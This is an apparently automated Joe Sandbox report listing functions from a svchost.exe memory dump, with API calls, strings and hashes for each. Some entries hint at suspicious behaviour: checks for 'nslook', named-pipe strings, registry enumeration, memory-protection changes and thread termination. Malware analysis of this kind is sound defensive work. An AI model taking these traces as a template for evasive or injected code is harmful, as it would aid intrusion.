Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction ID: 26e4a7482ee748f6d49e957ffcbf55cc9b87a1f0ca93e730d4e269044a28936e
Opcode Fuzzy Hash: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction Fuzzy Hash: 5181E5FDA8224D8AF756AB25A441FDD66A0BF85F8CFC44D1D9A444339EDA38C4418733

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D03C30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 221
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNEL32 ref: 000001CAF3D03D01
lstrcmpW.KERNEL32 ref: 000001CAF3D03D09
lstrcmpW.KERNEL32 ref: 000001CAF3D03D59
lstrcmpiW.KERNEL32 ref: 000001CAF3D03D51

Part of subcall function 000001CAF3D0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D0A62D

lstrcmpiW.KERNEL32 ref: 000001CAF3D03E51
lstrcmpW.KERNEL32 ref: 000001CAF3D03E59
lstrcmpiW.KERNEL32 ref: 000001CAF3D03EA1
lstrcmpW.KERNEL32 ref: 000001CAF3D03EA9

Strings

nslook, xrefs: 000001CAF3D03C90, 000001CAF3D03CB3, 000001CAF3D03DE7, 000001CAF3D03E0A

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: lstrcmplstrcmpi$_invalid_parameter_noinfo
String ID: nslook
API String ID: 125796670-925916808
Opcode ID: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction ID: fc363703b85945f396ceb6e40efe4c4ef5aa06f6e187a463130505bc425caf08
Opcode Fuzzy Hash: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction Fuzzy Hash: 3B81EFBE343A4886FB569F26D544BAD2360FF00FC8F854A2DDA1647A98DB34C411C322

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D011C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CAF3D01220
RegEnumValueW.ADVAPI32 ref: 000001CAF3D012AD
lstrcmpiW.KERNEL32 ref: 000001CAF3D012F6
lstrcmpW.KERNEL32 ref: 000001CAF3D012FE
lstrlenW.KERNEL32 ref: 000001CAF3D01363
lstrcpyW.KERNEL32 ref: 000001CAF3D0139E

Strings

d, xrefs: 000001CAF3D01275

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: EnumInfoQueryValuelstrcmplstrcmpilstrcpylstrlen
String ID: d
API String ID: 760382566-2564639436
Opcode ID: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction ID: c1577d2e7ca3da6836641286d13c986415e323225c55ee343c3f861f4e851ab7
Opcode Fuzzy Hash: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction Fuzzy Hash: 80518EBA605B8487F755DB21F48079E73A4FB88F84F804829DB8943B58DF38C165CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D044F0 Relevance: 10.6, APIs: 7, Instructions: 125
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001CAF3D0451E
GetCurrentProcess.KERNEL32 ref: 000001CAF3D0452C
VirtualProtectEx.KERNEL32 ref: 000001CAF3D0454E
GetCurrentProcess.KERNEL32 ref: 000001CAF3D0456F
VirtualProtectEx.KERNEL32 ref: 000001CAF3D04590
TerminateThread.KERNEL32 ref: 000001CAF3D045A9
GetCurrentThread.KERNEL32 ref: 000001CAF3D045D3

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Current$ProcessProtectThreadVirtual$HandleModuleTerminate
String ID:
API String ID: 23076575-0
Opcode ID: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction ID: 70e6f561c1eb3f939752b9bed59ac73874087983ce0d1d40c9e64857cd72c40b
Opcode Fuzzy Hash: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction Fuzzy Hash: 4A61F6B82A7B4981FB92DB15E450BDD23A0FF84F48FC4581DA94E067A9EF38C114C762

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0A140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 000001CAF3D0A1C3
GetLastError.KERNEL32 ref: 000001CAF3D0A1D1
LoadLibraryExW.KERNEL32 ref: 000001CAF3D0A1FB
FreeLibrary.KERNEL32 ref: 000001CAF3D0A241
GetProcAddress.KERNEL32 ref: 000001CAF3D0A24D

Strings

api-ms-, xrefs: 000001CAF3D0A1E3

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction ID: 65e2976d0a42af2130eb147e7edb084dc780f9753c5b6a578f152fe1740407a9
Opcode Fuzzy Hash: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction Fuzzy Hash: 5C31C37A24774895FF1B9B12A800FDD22A4BF04F68F89493D9D2907759EE38C1548322

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D02E38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001CAF3D02E95
lstrcpyW.KERNEL32 ref: 000001CAF3D02EAA
lstrcatW.KERNEL32 ref: 000001CAF3D02EB7
lstrcmpiW.KERNEL32 ref: 000001CAF3D02F03

Part of subcall function 000001CAF3D0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D0A62D

Strings

\\.\pipe\, xrefs: 000001CAF3D02E84
nslook, xrefs: 000001CAF3D02E5C

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction ID: 3e9a5a48930e75629c221ceb7b1ea5e4c166303367022871518e3ccb6883d382
Opcode Fuzzy Hash: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction Fuzzy Hash: A031A0B93836498AFB169B26D440BEC6B72BF48F8CFD44819CE0A47698DF34C515C322

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D027E9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001CAF3D02846
lstrcpyW.KERNEL32 ref: 000001CAF3D0285D
lstrcatW.KERNEL32 ref: 000001CAF3D0286E
lstrcmpiW.KERNEL32 ref: 000001CAF3D028C9

Part of subcall function 000001CAF3D0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D0A62D

Strings

\\.\pipe\, xrefs: 000001CAF3D02837
nslook, xrefs: 000001CAF3D0280D

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction ID: 833797296e46c5b7d956f8fd8a4e0a6db3e0c9cdfbb1b9d13d89579051f5369f
Opcode Fuzzy Hash: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction Fuzzy Hash: 0131A37D24764886FB669F11D494BED6760FF44F88FC44819CE4A03698DF38C519C722

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D1295C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CAF3D1298D
GetLastError.KERNEL32 ref: 000001CAF3D12999
CloseHandle.KERNEL32 ref: 000001CAF3D129B1
CreateFileW.KERNEL32 ref: 000001CAF3D129DC
WriteConsoleW.KERNEL32 ref: 000001CAF3D129FB

Strings

CONOUT$, xrefs: 000001CAF3D129BD

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction ID: e67e887bb96bb0dca2baac1f8a2af4cb668f9101999b2a03d53516ca95fd5aad
Opcode Fuzzy Hash: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction Fuzzy Hash: 2811BB36251B448BF352AB42F844B9D62B0FB88FE8F804728EB1D837A4CB38C9148715

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D019F0 Relevance: 10.3, APIs: 8, Instructions: 286stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 000001CAF3D01A84
lstrcmpiW.KERNEL32 ref: 000001CAF3D01B5C

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction ID: 35b90a3237b9a9135fda92b2496fd36be12056c0d932e51acbb0f9358983c5d5
Opcode Fuzzy Hash: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction Fuzzy Hash: 9CC172BE74260887FB62CF1AD080BAD73A9FB44F88FD58819DB1943758DB35C8958721

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D06A40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CAF3D06A7B
GetThreadContext.KERNEL32 ref: 000001CAF3D06BE5

Part of subcall function 000001CAF3D06870: GetCurrentThreadId.KERNEL32 ref: 000001CAF3D06874

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction ID: 19fdd1cb08e27cc95f15cc9a1ca83366530aafe963dfa33d28d3e745cc58701e
Opcode Fuzzy Hash: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction Fuzzy Hash: 46D1CC7A249B8C86EB719B15E49079E77A0F788F88F50461AEA8D477A9CF3CC540CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0ACFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CAF3D0AD18
GetProcAddress.KERNEL32 ref: 000001CAF3D0AD2E
FreeLibrary.KERNEL32 ref: 000001CAF3D0AD4B

Strings

mscoree.dll, xrefs: 000001CAF3D0AD0F
CorExitProcess, xrefs: 000001CAF3D0AD27

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction ID: 84f30b7b8443c3dbdddd981370fe916ebb5c5f4e012e2662316ca4ef8b58849e
Opcode Fuzzy Hash: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction Fuzzy Hash: CAF054B935264887FF4AAB11E440BDC2371AF44F49FC4181D9A1746165DE3CC598C331

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D05FE0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CAF3D06066

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction ID: 610cd98aa1d0c3d958102382bb9d4eea5c2a4571738aa5296080f9f3380827c4
Opcode Fuzzy Hash: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction Fuzzy Hash: 1602FA7625AB8486EB61CB55E49079EB7A0F7C4F88F500419EB8E83BA9DF7CC444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D1194C Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001CAF3D1198D
GetConsoleMode.KERNEL32 ref: 000001CAF3D11A4C
GetLastError.KERNEL32 ref: 000001CAF3D11ACC

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction ID: 4bd94f8dc5dba92db93e217a06d19c352bbab255eca38efcf870cc392fafb26d
Opcode Fuzzy Hash: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction Fuzzy Hash: 3281D17A6926188EF712ABA1C840BED67A8FF44F8CFC44919DF0A53695DB34C442C332

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D06620 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CAF3D06636

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction ID: e8d2703c6cae52ccd9f9e9d9ca7c1f9fd9823a32d2aa56dd6933f8e07a4ce587
Opcode Fuzzy Hash: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction Fuzzy Hash: 4F61DA7A55AA88C6F7619B15E440B5EB7A0F7C8F48F900619FA8D43BA8DB7CC540CF12

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3CE2078 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CAF3CE20A0
_set_statfp.LIBCMT ref: 000001CAF3CE20BB
_set_statfp.LIBCMT ref: 000001CAF3CE20D7
_set_statfp.LIBCMT ref: 000001CAF3CE2113

Memory Dump Source

Source File: 0000002F.00000002.507754448.000001CAF3CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3cd0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction ID: 9c4ca6de60cc47f70c32a58e1ef88b2e0ad2f293e7d7aa97627fab645f245e6f
Opcode Fuzzy Hash: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction Fuzzy Hash: D71194366D5A4802F77A3124D477BEDD0506F54B7CFC8462CAB661B2D68A39CDCBE202

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D12C78 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CAF3D12CA0
_set_statfp.LIBCMT ref: 000001CAF3D12CBB
_set_statfp.LIBCMT ref: 000001CAF3D12CD7
_set_statfp.LIBCMT ref: 000001CAF3D12D13

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 050267ecfea151eb240bd884ce3ab19800f4d3be0a9e195f6699514267cc12ca
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 4B11A73AAD1A480BF7563168E456BED1041AF54B7CFD80E2CBF66167E68A37C8414337

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D09FA8 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CAF3D09FC7
SetLastError.KERNEL32 ref: 000001CAF3D0A04E

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b7a8c72d483ff2acc95db7e83d010dfccae0723c48626c64fea654c7c0738f3f
Instruction ID: ba2f0b5cee4d51f0b964e742dd473071842cafbe87033cd548e4f59c13dc46d7
Opcode Fuzzy Hash: b7a8c72d483ff2acc95db7e83d010dfccae0723c48626c64fea654c7c0738f3f
Instruction Fuzzy Hash: 4D1175B968324D86FB1AE731E500B9D21956F44FA8F844F2C9A25073DEDA3CC8118622

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3CDDD54 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001CAF3CDDE25

Strings

Dec, xrefs: 000001CAF3CDDEF1
Oct, xrefs: 000001CAF3CDDDF5
January, xrefs: 000001CAF3CDDF00

Memory Dump Source

Source File: 0000002F.00000002.507754448.000001CAF3CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3cd0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Dec$January$Oct
API String ID: 3215553584-2670745533
Opcode ID: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction ID: f6634c41ae03bde2e2864d0cb549cdece98befc63be2613c7651d9fbf390faae
Opcode Fuzzy Hash: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction Fuzzy Hash: 2961A7319C364C82FB679B15A478BED6690AF54F4CF90401DFA2A17794DB34C86F8222

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3CD9A10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001CAF3CD9A2D
_invalid_parameter_noinfo.LIBCMT ref: 000001CAF3CD9A8E

Strings

r-dialogbox-l1-1-0, xrefs: 000001CAF3CD9AE5

Memory Dump Source

Source File: 0000002F.00000002.507754448.000001CAF3CD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3cd0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: r-dialogbox-l1-1-0
API String ID: 3215553584-4250323851
Opcode ID: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction ID: 2c85641b1a64a1da1be9ab33fded31c846974fe09f318bf5ac710a5bc287d209
Opcode Fuzzy Hash: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction Fuzzy Hash: 0E4127766C2348C1FB369B018460BFD76A0AB04F9CFD54119FAA9077D5CA38C4ABC302

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D116F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CAF3D11807
GetLastError.KERNEL32 ref: 000001CAF3D11829

Strings

U, xrefs: 000001CAF3D117B3

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction ID: 462985870bfdf1342da8fc51c496a26ba0f051886f3aef4276edea1721e35e3e
Opcode Fuzzy Hash: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction Fuzzy Hash: 6D41F276716A4886FB21AF25E4407ED67A4FB88B88F804429EF4D83788EB7CC001C751

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001CAF3D0C849
LCMapStringW.KERNEL32 ref: 000001CAF3D0C8D1

Strings

LCMapStringEx, xrefs: 000001CAF3D0C82C, 000001CAF3D0C83D

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction ID: 427cc18b25853ee7a199cf75ee2ba1cf8abdff37ec19450f3a5dd67acf58f9c1
Opcode Fuzzy Hash: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction Fuzzy Hash: 13113B3A648B8486E761DB15B48069EB7A4FBC8FC4F94412AEF8D83B19CF38C450CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D09CE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 000001CAF3D09D28
RaiseException.KERNEL32 ref: 000001CAF3D09D6E

Strings

csm, xrefs: 000001CAF3D09D5B

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction ID: a00d94acbf7ebcbcfd849c3615465f6c0cb00e36825a4583f04f19683b946d1f
Opcode Fuzzy Hash: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction Fuzzy Hash: 90112876245B8882EB228B15F44079DB7A5FB88F98F984624EF9907B68DF38C551CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0C7AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001CAF3D0C7DD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001CAF3D0C7F7

Strings

InitializeCriticalSectionEx, xrefs: 000001CAF3D0C7D1

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction ID: a3528309b1b56a0f4acd01bd21fc3cbe3ffbd88dc1459a03dea56e18f42981c8
Opcode Fuzzy Hash: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction Fuzzy Hash: D8F0B47D24179882F706AB52B440ADD3260AF88FC8FC84829AE0907B19CF38C485C361

Uniqueness

Uniqueness Score: -1.00%

Function 000001CAF3D0C758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001CAF3D0C781
TlsSetValue.KERNEL32 ref: 000001CAF3D0C798

Strings

FlsSetValue, xrefs: 000001CAF3D0C76E

Memory Dump Source

Source File: 0000002F.00000002.508165043.000001CAF3D00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CAF3D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1caf3d00000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction ID: 99ed183c038f07a0e78c13ce4852a175a5f65e52f6d0a68cb59207a5de2aea1a
Opcode Fuzzy Hash: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction Fuzzy Hash: 3BE065BD28264896FB1B6B51F440ADD3232AF88FC8FC848299A060B255CE38C584C322

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 900, Parent PID: 2324COMMON

Executed Functions

Function 000001B8BFF41400 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 240
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001B8BFF4840C: Concurrency::cancel_current_task.LIBCPMT ref: 000001B8BFF4843C

